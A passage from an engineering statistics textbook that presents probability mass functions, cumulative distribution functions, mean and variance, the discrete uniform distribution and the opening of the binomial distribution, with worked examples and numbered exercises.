$P(X = 2) = 0.0486$ $\quad P(X = 3) = 0.0036$

$P(X = 4) = 0.0001$

The probability distribution of X is specified by the possible values along with the probability of each. A graphical description of the probability distribution of X is shown in Fig. 3-1.

Practical Interpretation: A random experiment can often be summarized with a random variable and its distribution. The details of the sample space can often be omitted.

Suppose a loading on a long, thin beam places mass only at discrete points. See Fig. 3-2. The loading can be described by a function that specifies the mass at each of the discrete

Figure 3-1 Probability distribution for bits in error.

Figure 3-2 Loadings at discrete points on a long, thin beam.

points. Similarly, for a discrete random variable X, its distribution can be described by a function that specifies the probability at each of the possible discrete values for X.

Probability Mass Function

For a discrete random variable X with possible values $x_1, x_2, \ldots, x_n$, a **probability mass function** is a function such that

$$(1) \quad f(x_i) \geq 0$$

$$(2) \quad \sum_{i=1}^{n} f(x_i) = 1$$

$$(3) \quad f(x_i) = P(X = x_i) \qquad (3\text{-}1)$$

For the bits in error in Example 3-4, $f(0) = 0.6561$, $f(1) = 0.2916$, $f(2) = 0.0486$, $f(3) = 0.0036$, and $f(4) = 0.0001$. Check that the probabilities sum to 1.

EXAMPLE 3-5 Wafer Contamination

Let the random variable X denote the number of semiconductor wafers that need to be analyzed in order to detect a large particle of contamination. Assume that the probability that a wafer contains a large particle is 0.01 and that the wafers are independent. Determine the probability distribution of X.

Let p denote a wafer in which a large particle is present, and let a denote a wafer in which it is absent. The sample space of the experiment is infinite, and it can be represented as all possible sequences that start with a string of a's and end with p. That is,

$$s = \{p, ap, aap, aaap, aaaap, aaaaap, \text{and so forth}\}$$

Consider a few special cases. We have $P(X = 1) = P(p) = 0.01$. Also, using the independence assumption,

$$P(X = 2) = P(ap) = 0.99(0.01) = 0.0099$$

A general formula is

$$P(X = x) = \underbrace{P(aa \ldots ap)}_{(x-1)a\text{'s}} = 0.99^{x-1}(0.01), \quad \text{for } x = 1, 2, 3, \ldots$$

Describing the probabilities associated with X in terms of this formula is a simple method to define the distribution of X in this example. Clearly $f(x) \geq 0$. The fact that the sum of the probabilities is 1 is left as an exercise. This is an example of a geometric random variable, and details are provided later in this chapter.

Practical Interpretation: The random experiment here has an unbounded number of outcomes but it can still be conveniently modeled with a discrete random variable with a (countably) infinite range.

EXERCISES FOR SECTION 3-2

3-14. The sample space of a random experiment is $\{a, b, c, d, e, f\}$, and each outcome is equally likely. A random variable is defined as follows:

outcome	a	b	c	d	e	f
x	0	0	1.5	1.5	2	3

Determine the probability mass function of X. Use the probability mass function to determine the following probabilities:

(a) $P(X = 1.5)$ (b) $P(0.5 < X < 2.7)$
(c) $P(X > 3)$ (d) $P(0 \leq X < 2)$
(e) $P(X = 0 \text{ or } X = 2)$

For Exercises 3-15 to 3-18, verify that the following functions are probability mass functions, and determine the requested probabilities.

3-15.

x	-2	-1	0	1	2
$f(x)$	$1/8$	$2/8$	$2/8$	$2/8$	$1/8$

(a) $P(X \le 2)$ (b) $P(X > -2)$
(c) $P(-1 \le X \le 1)$ (d) $P(X \le -1 \quad \text{or} \quad X = 2)$

3-16. $f(x) = (8/7)(1/2)^x, \quad x = 1, 2, 3$
(a) $P(X \le 1)$ (b) $P(X > 1)$
(c) $P(2 < X < 6)$ (d) $P(X \le 1 \quad \text{or} \quad X > 1)$

3-17. $f(x) = \dfrac{2x+1}{25}, \quad x = 0, 1, 2, 3, 4$

(a) $P(X = 4)$ (b) $P(X \le 1)$
(c) $P(2 \le X < 4)$ (d) $P(X > -10)$

3-18. $f(x) = (3/4)(1/4)^x, \quad x = 0, 1, 2, \ldots$
(a) $P(X = 2)$ (b) $P(X \le 2)$
(c) $P(X > 2)$ (d) $P(X \ge 1)$

3-19. An article in *Knee Surgery, Sports Traumatology, Arthroscopy* ["Arthroscopic Meniscal Repair with an Absorbable Screw: Results and Surgical Technique" (2005, Vol. 13, pp. 273–279)] cites a success rate of more than 90% for meniscal tears with a rim width of less than 3 mm, but only a 67% success rate for tears of 3–6 mm. If you are unlucky enough to suffer a meniscal tear of less than 3 mm on your left knee and one of width 3–6 mm on your right knee, what is the probability mass function of the number of successful surgeries? Assume the surgeries are independent.

3-20. An optical inspection system is to distinguish among different part types. The probability of a correct classification of any part is 0.98. Suppose that three parts are inspected and that the classifications are independent. Let the random variable X denote the number of parts that are correctly classified. Determine the probability mass function of X.

3-21. In a semiconductor manufacturing process, three wafers from a lot are tested. Each wafer is classified as *pass* or *fail*. Assume that the probability that a wafer passes the test is 0.8 and that wafers are independent. Determine the probability mass function of the number of wafers from a lot that pass the test.

3-22. The space shuttle flight control system called PASS (Primary Avionics Software Set) uses four independent computers working in parallel. At each critical step, the computers "vote" to determine the appropriate step. The probability that a computer will ask for a roll to the left when a roll to the right is appropriate is 0.0001. Let X denote the number of computers that vote for a left roll when a right roll is appropriate. What is the probability mass function of X?

3-23. A disk drive manufacturer sells storage devices with capacities of one terabyte, 500 gigabytes, and 100 gigabytes with probabilities 0.5, 0.3, and 0.2, respectively. The revenues associated with the sales in that year are estimated to be \$50 million, \$25 million, and \$10 million, respectively. Let X denote the revenue of storage devices during that year. Determine the probability mass function of X.

3-24. Marketing estimates that a new instrument for the analysis of soil samples will be very successful, moderately successful, or unsuccessful, with probabilities 0.3, 0.6, and 0.1, respectively. The yearly revenue associated with a very successful, moderately successful, or unsuccessful product is \$10 million, \$5 million, and \$1 million, respectively. Let the random variable X denote the yearly revenue of the product. Determine the probability mass function of X.

3-25. The distributor of a machine for cytogenics has developed a new model. The company estimates that when it is introduced into the market, it will be very successful with a probability 0.6, moderately successful with a probability 0.3, and not successful with probability 0.1. The estimated yearly profit associated with the model being very successful is \$15 million and with it being moderately successful is \$5 million; not successful would result in a loss of \$500,000. Let X be the yearly profit of the new model. Determine the probability mass function of X.

3-26. An assembly consists of two mechanical components. Suppose that the probabilities that the first and second components meet specifications are 0.95 and 0.98. Assume that the components are independent. Determine the probability mass function of the number of components in the assembly that meet specifications.

3-27. An assembly consists of three mechanical components. Suppose that the probabilities that the first, second, and third components meet specifications are 0.95, 0.98, and 0.99. Assume that the components are independent. Determine the probability mass function of the number of components in the assembly that meet specifications.

3-28. The data from 200 endothermic reactions involving sodium bicarbonate are summarized as follows:

Final Temperature Conditions	Number of Reactions
266 K	48
271 K	60
274 K	92

Calculate the probability mass function of final temperature.

3-29. Actual lengths of stay at a hospital's emergency department in 2009 are shown in the following table (rounded to the nearest hour). Length of stay is the total of wait and service times. Some longer stays are also approximated as 15 hours in this table.

Hours	Count	Percent
1	19	3.80
2	51	10.20
3	86	17.20
4	102	20.40
5	87	17.40
6	62	12.40
7	40	8.00
8	18	3.60
9	14	2.80
10	11	2.20
15	10	2.00

Calculate the probability mass function of the wait time for service.

3-30. The distribution of the time until a Web site changes is important to Web crawlers that are used by search engines to maintain current information about Web sites. The distribution of the time until change (in days) of a Web site is approximated in the following table.

Days until Changes	Probability
1.5	0.05
3.0	0.25
4.5	0.35
5.0	0.20
7.0	0.15

Calculate the probability mass function of the days until change.

3-31. The following table shows the typical depth (rounded to the nearest foot) for non-failed wells in geological formations in Baltimore County (*The Journal of Data Science*, 2009, Vol. 7, pp. 111–127).

Geological Formation Group	Number of Non-failed Wells	Non-failed Well Depth
Gneiss	1,515	255
Granite	26	218
Loch Raven Schist	3,290	317
Mafic	349	231
Marble	280	267
Prettyboy Schist	1,343	255
Other schists	887	267
Serpentine	36	217
Total	7,726	2,027

Calculate the probability mass function of depth for non-failed wells from the table.

3-3 CUMULATIVE DISTRIBUTION FUNCTIONS

EXAMPLE 3-6 Digital Channel

In Example 3-4, we might be interested in the probability of three or fewer bits being in error. This question can be expressed as $P(X \leq 3)$.

The event that $\{X \leq 3\}$ is the union of the events $\{X = 0\}$, $\{X = 1\}$, $\{X = 2\}$, and $\{X = 3\}$. Clearly, these three events are mutually exclusive. Therefore,

$$P(X \leq 3) = P(X = 0) + P(X = 1) + P(X = 2) + P(X = 3)$$
$$= 0.6561 + 0.2916 + 0.0486 + 0.0036 = 0.9999$$

This approach can also be used to determine

$$P(X = 3) = P(X \leq 3) - P(X \leq 2) = 0.0036$$

Example 3-6 shows that it is sometimes useful to be able to provide **cumulative probabilities** such as $P(X \leq x)$ and that such probabilities can be used to find the probability mass function of a random variable. Therefore, using cumulative probabilities is an alternate method of describing the probability distribution of a random variable.

In general, for any discrete random variable with possible values $x_1, x_2, \ldots, x_n$, the events $\{X = x_1\}, \{X = x_2\}, \ldots, \{X = x_n\}$ are mutually exclusive. Therefore, $P(X \leq x) = \sum_{x_i \leq x} f(x_i)$.

Cumulative Distribution Function

The **cumulative distribution function** of a discrete random variable X, denoted as $F(x)$, is

$$F(x) = P(X \le x) = \sum_{x_i \le x} f(x_i)$$

For a discrete random variable X, $F(x)$ satisfies the following properties.

(1) $F(x) = P(X \le x) = \sum_{x_i \le x} f(x_i)$

(2) $0 \le F(x) \le 1$

(3) If $x \le y$, then $F(x) \le F(y)$ (3-2)

Properties (1) and (2) of a cumulative distribution function follow from the definition. Property (3) follows from the fact that if $x \le y$, the event that $\{X \le x\}$ is contained in the event $\{X \le y\}$. Like a probability mass function, a cumulative distribution function provides probabilities. Even if the random variable X can only assume integer values, the cumulative distribution function can be defined at noninteger values. In Example 3-6, $F(1.5) = P(X \le 1.5) = P\{X = 0\} + P(X = 1) = 0.6561 + 0.2916 = 0.9477$. The next example shows how the cumulative distribution function can be used to determine the probability mass function of a discrete random variable.

EXAMPLE 3-7 Cumulative Distribution Function

Determine the probability mass function of X from the following cumulative distribution function:

$$F(x) = \begin{cases} 0 & x < -2 \\ 0.2 & -2 \le x < 0 \\ 0.7 & 0 \le x < 2 \\ 1 & 2 \le x \end{cases}$$

Figure 3-3 displays a plot of $F(x)$. From the plot, the only points that receive nonzero probability are -2, 0, and 2. The probability mass function at each point is the change in the cumulative distribution function at the point. Therefore,

$$f(-2) = 0.2 - 0 = 0.2$$
$$f(0) = 0.7 - 0.2 = 0.5$$
$$f(2) = 1.0 - 0.7 = 0.3$$

EXAMPLE 3-8 Sampling without Replacement

Suppose that a day's production of 850 manufactured parts contains 50 parts that do not conform to customer requirements. Two parts are selected at random, without replacement, from the batch. Let the random variable X equal the number of nonconforming parts in the sample. What is the cumulative distribution function of X?

The question can be answered by first finding the probability mass function of X.

$$P(X = 0) = \frac{800}{850} \cdot \frac{799}{849} = 0.886$$

$$P(X = 1) = 2 \cdot \frac{800}{850} \cdot \frac{50}{849} = 0.111$$

$$P(X = 2) = \frac{50}{850} \cdot \frac{49}{849} = 0.003$$

Therefore,

$$F(0) = P(X \le 0) = 0.886$$

$$F(1) = P(X \le 1) = 0.886 + 0.111 = 0.997$$

$$F(2) = P(X \le 2) = 1$$

The cumulative distribution function for this example is graphed in Fig. 3-4. Note that $F(x)$ is defined for all x from $-\infty < x < \infty$ and not only for 0, 1, and 2.

Figure 3-3 Cumulative distribution function for Example 3-7.

Figure 3-4 Cumulative distribution function for Example 3-8.

EXERCISES FOR SECTION 3-3

3-32. Determine the cumulative distribution function of the random variable in Exercise 3-14.

3-33. Determine the cumulative distribution function for the random variable in Exercise 3-15; also determine the following probabilities:
(a) $P(X \le 1.25)$ (b) $P(X \le 2.2)$
(c) $P(-1.1 < X \le 1)$ (d) $P(X > 0)$

3-34. Determine the cumulative distribution function for the random variable in Exercise 3-16; also determine the following probabilities:
(a) $P(X < 1.5)$ (b) $P(X \le 3)$
(c) $P(X > 2)$ (d) $P(1 < X \le 2)$

3-35. Determine the cumulative distribution function for the random variable in Exercise 3-21.

3-36. Determine the cumulative distribution function for the random variable in Exercise 3-22.

3-37. Determine the cumulative distribution function for the random variable in Exercise 3-23.

3-38. Determine the cumulative distribution function for the variable in Exercise 3-24.

Verify that the following functions are cumulative distribution functions, and determine the probability mass function and the requested probabilities.

3-39.
$$F(x) = \begin{cases} 0 & x < 1 \\ 0.5 & 1 \le x < 3 \\ 1 & 3 \le x \end{cases}$$
(a) $P(X \le 3)$ (b) $P(X \le 2)$
(c) $P(1 \le X \le 2)$ (d) $P(X > 2)$

3-40. Errors in an experimental transmission channel are found when the transmission is checked by a certifier that detects missing pulses. The number of errors found in an eight-bit byte is a random variable with the following distribution:
$$F(x) = \begin{cases} 0 & x < 1 \\ 0.7 & 1 \le x < 4 \\ 0.9 & 4 \le x < 7 \\ 1 & 7 \le x \end{cases}$$
Determine each of the following probabilities:
(a) $P(X \le 4)$ (b) $P(X > 7)$
(c) $P(X \le 5)$ (d) $P(X > 4)$
(e) $P(X \le 2)$

3-41.
$$F(x) = \begin{cases} 0 & x < -10 \\ 0.25 & -10 \le x < 30 \\ 0.75 & 30 \le x < 50 \\ 1 & 50 \le x \end{cases}$$
(a) $P(X \le 50)$ (b) $P(X \le 40)$
(c) $P(40 \le X \le 60)$ (d) $P(X < 0)$
(e) $P(0 \le X < 10)$ (f) $P(-10 < X < 10)$

3-42. The thickness of wood paneling (in inches) that a customer orders is a random variable with the following cumulative distribution function:
$$F(x) = \begin{cases} 0 & x < 1/8 \\ 0.2 & 1/8 \le x < 1/4 \\ 0.9 & 1/4 \le x < 3/8 \\ 1 & 3/8 \le x \end{cases}$$
Determine the following probabilities:
(a) $P(X \le 1/18)$ (b) $P(X \le 1/4)$
(c) $P(X \le 5/16)$ (d) $P(X > 1/4)$
(e) $P(X \le 1/2)$

3-43. Determine the cumulative distribution function for the random variable in Exercise 3-28.

3-44. Determine the cumulative distribution function for the random variable in Exercise 3-29.

3-45. Determine the cumulative distribution function for the random variable in Exercise 3-30.

3-46. Determine the cumulative distribution function for the random variable in Exercise 3-31.

3-4 MEAN AND VARIANCE OF A DISCRETE RANDOM VARIABLE

Two numbers are often used to summarize a probability distribution for a random variable X. The mean is a measure of the center or middle of the probability distribution, and the variance is a measure of the dispersion, or variability in the distribution. These two measures do not uniquely identify a probability distribution. That is, two different distributions can have the same mean and variance. Still, these measures are simple, useful summaries of the probability distribution of X.

Mean and Variance

The **mean** or **expected value** of the discrete random variable X, denoted as μ or $E(X)$, is

$$\mu = E(X) = \sum_x x f(x) \tag{3-3}$$

The **variance** of X, denoted as σ^2 or $V(X)$, is

$$\sigma^2 = V(X) = E(X - \mu)^2 = \sum_x (x - \mu)^2 f(x) = \sum_x x^2 f(x) - \mu^2$$

The **standard deviation** of X is $\sigma = \sqrt{\sigma^2}$.

The mean of a discrete random variable X is a weighted average of the possible values of X, with weights equal to the probabilities. If $f(x)$ is the probability mass function of a loading on a long, thin beam, $E(X)$ is the point at which the beam balances. Consequently, $E(X)$ describes the "center" of the distribution of X in a manner similar to the balance point of a loading. See Fig. 3-5.

The variance of a random variable X is a measure of dispersion or scatter in the possible values for X. The variance of X uses weight $f(x)$ as the multiplier of each possible squared deviation $(x - \mu)^2$. Figure 3-5 illustrates probability distributions with equal means but different variances. Properties of summations and the definition of μ can be used to show the equality of the formulas for variance.

$$V(X) = \sum_x (x - \mu)^2 f(x) = \sum_x x^2 f(x) - 2\mu \sum_x x f(x) + \mu^2 \sum_x f(x)$$
$$= \sum_x x^2 f(x) - 2\mu^2 + \mu^2 = \sum_x x^2 f(x) - \mu^2$$

Figure 3-5 A probability distribution can be viewed as a loading with the mean equal to the balance point. Parts (a) and (b) illustrate equal means, but Part (a) illustrates a larger variance.

Figure 3-6 The probability distributions illustrated in Parts (a) and (b) differ even though they have equal means and equal variances.

Either formula for $V(x)$ can be used. Figure 3-6 illustrates that two probability distributions can differ even though they have identical means and variances.

EXAMPLE 3-9 Digital Channel

In Example 3-4, there is a chance that a bit transmitted through a digital transmission channel is received in error. Let X equal the number of bits in error in the next four bits transmitted. The possible values for X are $\{0, 1, 2, 3, 4\}$. Based on a model for the errors that is presented in the following section, probabilities for these values will be determined. Suppose that the probabilities are

$$P(X = 0) = 0.6561 \quad P(X = 2) = 0.0486 \quad P(X = 4) = 0.0001$$
$$P(X = 1) = 0.2916 \quad P(X = 3) = 0.0036$$

Now

$$\begin{aligned}\mu = E(X) &= 0f(0) + 1f(1) + 2f(2) + 3f(3) + 4f(4)\\ &= 0(0.6561) + 1(0.2916) + 2(0.0486)\\ &\quad + 3(0.0036) + 4(0.0001)\\ &= 0.4\end{aligned}$$

Although X never assumes the value 0.4, the weighted average of the possible values is 0.4.

To calculate $V(X)$, a table is convenient.

x	$x - 0.4$	$(x - 0.4)^2$	$f(x)$	$f(x)(x - 0.4)^2$
0	−0.4	0.16	0.6561	0.104976
1	0.6	0.36	0.2916	0.104976
2	1.6	2.56	0.0486	0.124416
3	2.6	6.76	0.0036	0.024336
4	3.6	12.96	0.0001	0.001296

$$V(X) = \sigma^2 = \sum_{i=1}^{5} f(x_i)(x_i - 0.4)^2 = 0.36$$

The alternative formula for variance could also be used to obtain the same result.

Practical Interpretation: The mean and variance summarize the distribution of a random variable. The mean is a weighted average of the values and the variance measures the dispersion of the values from the mean. Different distributions may have the same mean and variance.

EXAMPLE 3-10 Marketing

Two new product designs are to be compared on the basis of revenue potential. Marketing feels that the revenue from design A can be predicted quite accurately to be \$3 million. The revenue potential of design B is more difficult to assess. Marketing concludes that there is a probability of 0.3 that the revenue from design B will be \$7 million, but there is a 0.7 probability that the revenue will be only \$2 million. Which design do you prefer?

Let X denote the revenue from design A. Because there is no uncertainty in the revenue from design A, we can model the distribution of the random variable X as \$3 million with probability 1. Therefore, $E(X) = \$3$ million.

Let Y denote the revenue from design B. The expected value of Y in millions of dollars is

$$E(Y) = \$7(0.3) + \$2(0.7) = \$3.5$$

Because $E(Y)$ exceeds $E(X)$, we might prefer design B. However, the variability of the result from design B is larger. That is,

$$\begin{aligned}\sigma^2 &= (7 - 3.5)^2(0.3) + (2 - 3.5)^2(0.7)\\ &= 5.25 \text{ millions of dollars squared}\end{aligned}$$

Because the units of the variables in this example are millions of dollars, and because the variance of a random variable squares the deviations from the mean, the units of σ^2 are millions of dollars squared. These units make interpretation difficult.

Because the units of standard deviation are the same as the units of the random variable, the standard deviation σ is easier to interpret. In this example, we can summarize our results as "the average deviation of Y from its mean is \$2.29 million."

EXAMPLE 3-11 Messages

The number of messages sent per hour over a computer network has the following distribution:

x = number of messages	10	11	12	13	14	15
$f(x)$	0.08	0.15	0.30	0.20	0.20	0.07

Determine the mean and standard deviation of the number of messages sent per hour.

$$E(X) = 10(0.08) + 11(0.15) + \cdots + 15(0.07) = 12.5$$

$$V(X) = 10^2(0.08) + 11^2(0.15) + \cdots + 15^2(0.07) - 12.5^2 = 1.85$$

$$\sigma = \sqrt{V(X)} = \sqrt{1.85} = 1.36$$

The variance of a random variable X can be considered to be the expected value of a specific function of X, namely, $h(X) = (X - \mu)^2$. In general, the expected value of any function $h(X)$ of a discrete random variable is defined in a similar manner.

Expected Value of a Function of a Discrete Random Variable

If X is a discrete random variable with probability mass function $f(x)$,

$$E[h(X)] = \sum_x h(x)f(x) \tag{3-4}$$

EXAMPLE 3-12 Digital Channel

In Example 3-9, X is the number of bits in error in the next four bits transmitted. What is the expected value of the square of the number of bits in error? Now, $h(X) = X^2$. Therefore,

$$E[h(X)] = 0^2 \times 0.6561 + 1^2 \times 0.2916 + 2^2 \times 0.0486 + 3^2 \times 0.0036 + 4^2 \times 0.0001 = 0.52$$

Practical Interpretation: The expected value of a function of a random variable is simply a weighted average of the function evaluated at the values of the random variable.

In the previous example, the expected value of X^2 does not equal $E(X)$ squared. However, in the special case that $h(X) = aX + b$ for any constants a and b, $E[h(X)] = aE(X) + b$. This can be shown from the properties of sums in the definition in Equation 3-4.

EXERCISES FOR SECTION 3-4

3-47. If the range of X is the set $\{0, 1, 2, 3, 4\}$ and $P(X = x) = 0.2$, determine the mean and variance of the random variable.

3-48. Determine the mean and variance of the random variable in Exercise 3-14.

3-49. Determine the mean and variance of the random variable in Exercise 3-15.

3-50. Determine the mean and variance of the random variable in Exercise 3-16.

3-51. Determine the mean and variance of the random variable in Exercise 3-17.

3-52. Determine the mean and variance of the random variable in Exercise 3-18.

3-53. Determine the mean and variance of the random variable in Exercise 3-19.

3-54. Determine the mean and variance of the random variable in Exercise 3-20.

3-55. The range of the random variable X is $[0, 1, 2, 3, x]$, where x is unknown. If each value is equally likely and the mean of X is 6, determine x.

3-56. In a NiCd battery, a fully charged cell is composed of nickelic hydroxide. Nickel is an element that has multiple oxidation states. Assume the following proportions of the states:

Nickel Charge	Proportions Found
0	0.17
+2	0.35
+3	0.33
+4	0.15

(a) Determine the cumulative distribution function of nickel charge.
(b) Determine the mean and variance of the nickel charge.

3-57. The space shuttle flight control system called PASS (Primary Avionics Software Set) uses four independent computers working in parallel. At each critical step, the computers "vote" to determine the appropriate step. The probability that a computer will ask for a roll to the left when a roll to the right is appropriate is 0.0001. Let X denote the number of computers that vote for a left roll when a right roll is appropriate. What is the mean and variance of X?

3-58. Trees are subjected to different levels of carbon dioxide atmosphere with 6% of the trees in a minimal growth condition at 350 parts per million (ppm), 10% at 450 ppm (slow growth), 47% at 550 ppm (moderate growth), and 37% at 650 ppm (rapid growth). What are the mean and standard deviation of the carbon dioxide atmosphere (in ppm) for these trees in ppm?

3-59. An article in the *Journal of Database Management* ["Experimental Study of a Self-Tuning Algorithm for DBMS Buffer Pools" (2005, Vol. 16, pp. 1–20)] provided the workload used in the TPC-C OLTP (Transaction Processing Performance Council's Version C On-Line Transaction Processing) benchmark, which simulates a typical order entry application.

The frequency of each type of transaction (in the second column) can be used as the percentage of each type of transaction. The average number of *selects* operations required for each type transaction is shown.

(a) Determine the mean and standard deviation of the number of *selects* operations for a transaction from the distribution of types shown in the table.
(b) Determine the mean and standard deviation of the total number of operations (*selects*, *updates*, . . . , and *joins*) for a transaction from the distribution of types shown in the table.

3-60. Calculate the mean and variance for the random variable in Exercise 3-28.

3-61. Calculate the mean and variance for the random variable in Exercise 3-29.

3-62. Calculate the mean and variance for the random variable in Exercise 3-30.

3-63. Calculate the mean and variance for the random variable in Exercise 3-31.

Average Frequencies and Operations in TPC-C

Transaction	Frequency	Selects	Updates	Inserts	Deletes	Non-Unique Selects	Joins
New Order	43	23	11	12	0	0	0
Payment	44	4.2	3	1	0	0.6	0
Order Status	4	11.4	0	0	0	0.6	0
Delivery	5	130	120	0	10	0	0
Stock Level	4	0	0	0	0	0	1

3-5 DISCRETE UNIFORM DISTRIBUTION

The simplest discrete random variable is one that assumes only a finite number of possible values, each with equal probability. A random variable X that assumes each of the values $x_1, x_2, \ldots, x_n$, with equal probability $1/n$, is frequently of interest.

Discrete Uniform Distribution

A random variable X has a **discrete uniform distribution** if each of the n values in its range, say, $x_1, x_2, \ldots, x_n$, has equal probability. Then,

$$f(x_i) = 1/n \tag{3-5}$$

Figure 3-7 Probability mass function for a discrete uniform random variable.

EXAMPLE 3-13

The first digit of a part's serial number is equally likely to be any one of the digits 0 through 9. If one part is selected from a large batch and X is the first digit of the serial number, X has a discrete uniform distribution with probability 0.1 for each value in $R = \{0, 1, 2, \ldots, 9\}$. That is,

$$f(x) = 0.1$$

for each value in R. The probability mass function of X is shown in Fig. 3-7.

Suppose the range of the discrete random variable X is the consecutive integers a, $a + 1$, $a + 2, \ldots, b$, for $a \le b$. The range of X contains $b - a + 1$ values each with probability $1/(b - a + 1)$. Now,

$$\mu = \sum_{k=a}^{b} k\left(\frac{1}{b - a + 1}\right)$$

The algebraic identity $\sum_{k=a}^{b} k = \dfrac{b(b + 1) - (a - 1)a}{2}$ can be used to simplify the result to $\mu = (b + a)/2$. The derivation of the variance is left as an exercise.

Mean and Variance

Suppose X is a discrete uniform random variable on the consecutive integers $a, a + 1, a + 2, \ldots, b$, for $a \le b$. The mean of X is

$$\mu = E(X) = \frac{b + a}{2}$$

The variance of X is

$$\sigma^2 = \frac{(b - a + 1)^2 - 1}{12} \tag{3-6}$$

EXAMPLE 3-14 Number of Voice Lines

As in Example 3-1, let the random variable X denote the number of the 48 voice lines that are in use at a particular time. Assume that X is a discrete uniform random variable with a range of 0 to 48. Then,

$$E(X) = (48 + 0)/2 = 24$$

and

$$\sigma = \{[(48 - 0 + 1)^2 - 1]/12\}^{1/2} = 14.14$$

Practical Interpretation: The average number of lines in use is 24 but the dispersion (as measured by σ) is large. Therefore, at many times far more or fewer than 24 lines are in use.

Equation 3-6 is more useful than it might first appear. If all the values in the range of a random variable X are multiplied by a constant (without changing any probabilities), the mean and standard deviation of X are multiplied by the constant. You are asked to verify this result in an exercise. Because the variance of a random variable is the square of the standard deviation, the variance of X is multiplied by the constant squared. More general results of this type are discussed in Chapter 5.

EXAMPLE 3-15 Proportion of Voice Lines

Let the random variable Y denote the proportion of the 48 voice lines that are in use at a particular time, and X denote the number of lines that are in use at a particular time. Then, $Y = X/48$. Therefore,

$$E(Y) = E(X)/48 = 0.5$$

and

$$V(Y) = V(X)/48^2 = 0.087$$

EXERCISES FOR SECTION 3-5

3-64. Let the random variable X have a discrete uniform distribution on the integers $0 \le x \le 99$. Determine the mean and variance of X.

3-65. Let the random variable X have a discrete uniform distribution on the integers $1 \le x \le 3$. Determine the mean and variance of X.

3-66. Thickness measurements of a coating process are made to the nearest hundredth of a millimeter. The thickness measurements are uniformly distributed with values 0.15, 0.16, 0.17, 0.18, and 0.19. Determine the mean and variance of the coating thickness for this process.

3-67. Product codes of two, three, four, or five letters are equally likely. What is the mean and standard deviation of the number of letters in the codes?

3-68. The lengths of plate glass parts are measured to the nearest tenth of a millimeter. The lengths are uniformly distributed, with values at every tenth of a millimeter starting at 590.0 and continuing through 590.9. Determine the mean and variance of the lengths.

3-69. Assume that the wavelengths of photosynthetically active radiations (PAR) are uniformly distributed at integer nanometers in the red spectrum from 675 to 700 nm.

(a) What is the mean and variance of the wavelength distribution for this radiation?

(b) If the wavelengths are uniformly distributed at integer nanometers from 75 to 100 nanometers, how does the mean and variance of the wavelength distribution compare to the previous part? Explain.

3-70. The probability of an operator entering alphanumeric data incorrectly into a field in a database is equally likely. The random variable X is the number of fields on a data entry form with an error. The data entry form has 28 fields. Is X a discrete uniform random variable? Why or why not?

3-71. Suppose that X has a discrete uniform distribution on the integers 0 through 9. Determine the mean, variance, and standard deviation of the random variable $Y = 5X$ and compare to the corresponding results for X.

3-72. Show that for a discrete uniform random variable X, if each of the values in the range of X is multiplied by the constant c, the effect is to multiply the mean of X by c and the variance of X by c^2. That is, show that $E(cX) = cE(X)$ and $V(cX) = c^2V(X)$.

3-73. The number of pages in a PDF document you create has a discrete uniform distribution from five to nine pages (including the end points). What are the mean and standard deviation of the number of pages in the document?

3-74. Suppose that nine-digit Social security numbers are assigned at random. If you randomly select a number, what is the probability that it belongs to one of the 300 million people in the United States?

3-6 BINOMIAL DISTRIBUTION

Consider the following random experiments and random variables:

1. Flip a coin 10 times. Let X = number of heads obtained.
2. A worn machine tool produces 1% defective parts. Let X = number of defective parts in the next 25 parts produced.
3. Each sample of air has a 10% chance of containing a particular rare molecule. Let X = the number of air samples that contain the rare molecule in the next 18 samples analyzed.
4. Of all bits transmitted through a digital transmission channel, 10% are received in error. Let X = the number of bits in error in the next five bits transmitted.
5. A multiple-choice test contains 10 questions, each with four choices, and you guess at each question. Let X = the number of questions answered correctly.

6. In the next 20 births at a hospital, let X = the number of female births.
7. Of all patients suffering a particular illness, 35% experience improvement from a particular medication. In the next 100 patients administered the medication, let X = the number of patients who experience improvement.

These examples illustrate that a general probability model that includes these experiments as particular cases would be very useful.

Each of these random experiments can be thought of as consisting of a series of repeated, random trials: 10 flips of the coin in experiment 1, the production of 25 parts in experiment 2, and so forth. The random variable in each case is a count of the number of trials that meet a specified criterion. The outcome from each trial either meets the criterion that X counts or it does not; consequently, each trial can be summarized as resulting in either a success or a failure. For example, in the multiple-choice experiment, for each question, only the choice that is correct is considered a success. Choosing any one of the three incorrect choices results in the trial being summarized as a failure.

The terms *success* and *failure* are just labels. We can just as well use A and B or 0 or 1. Unfortunately, the usual labels can sometimes be misleading. In experiment 2, because X counts defective parts, the production of a defective part is called a success.

A trial with only two possible outcomes is used so frequently as a building block of a random experiment that it is called a **Bernoulli trial.** It is usually assumed that the trials that constitute the random experiment are **independent.** This implies that the outcome from one trial has no effect on the outcome to be obtained from any other trial. Furthermore, it is often reasonable to assume that the **probability of a success in each trial is constant.** In the multiple-choice experiment, if the test taker has no knowledge of the material and just guesses at each question, we might assume that the probability of a correct answer is 1/4 *for each question.*

EXAMPLE 3-16 Digital Channel

The chance that a bit transmitted through a digital transmission channel is received in error is 0.1. Also, assume that the transmission trials are independent. Let X = the number of bits in error in the next four bits transmitted. Determine $P(X = 2)$.

Let the letter E denote a bit in error, and let the letter O denote that the bit is okay, that is, received without error. We can represent the outcomes of this experiment as a list of four letters that indicate the bits that are in error and those that are okay. For example, the outcome $OEOE$ indicates that the second and fourth bits are in error and the other two bits are okay. The corresponding values for x are

Outcome	x	Outcome	x
OOOO	0	*EOOO*	1
OOOE	1	*EOOE*	2
OOEO	1	*EOEO*	2
OOEE	2	*EOEE*	3
OEOO	1	*EEOO*	2
OEOE	2	*EEOE*	3
OEEO	2	*EEEO*	3
OEEE	3	*EEEE*	4

The event that $X = 2$ consists of the six outcomes:

$$\{EEOO, EOEO, EOOE, OEEO, OEOE, OOEE\}$$

Using the assumption that the trials are independent, the probability of $\{EEOO\}$ is

$$P(EEOO) = P(E)P(E)P(O)P(O) = (0.1)^2(0.9)^2 = 0.0081$$

Also, any one of the six mutually exclusive outcomes for which $X = 2$ has the same probability of occurring. Therefore,

$$P(X = 2) = 6(0.0081) = 0.0486$$

In general,

$$P(X = x) = (\text{number of outcomes that result in } x \text{ errors}) \times (0.1)^x(0.9)^{4-x}$$

To complete a general probability formula, only an expression for the number of outcomes that contain x errors is needed. An outcome that contains x errors can be constructed by partitioning the four trials (letters) in the outcome into two groups. One group is of size x and contains the errors, and the other group is of size $n - x$ and consists of the trials that are okay. The number of ways of partitioning four objects

into two groups, one of which is of size x, is $\binom{4}{x} = \frac{4!}{x!(4-x)!}$. Therefore, in this example,

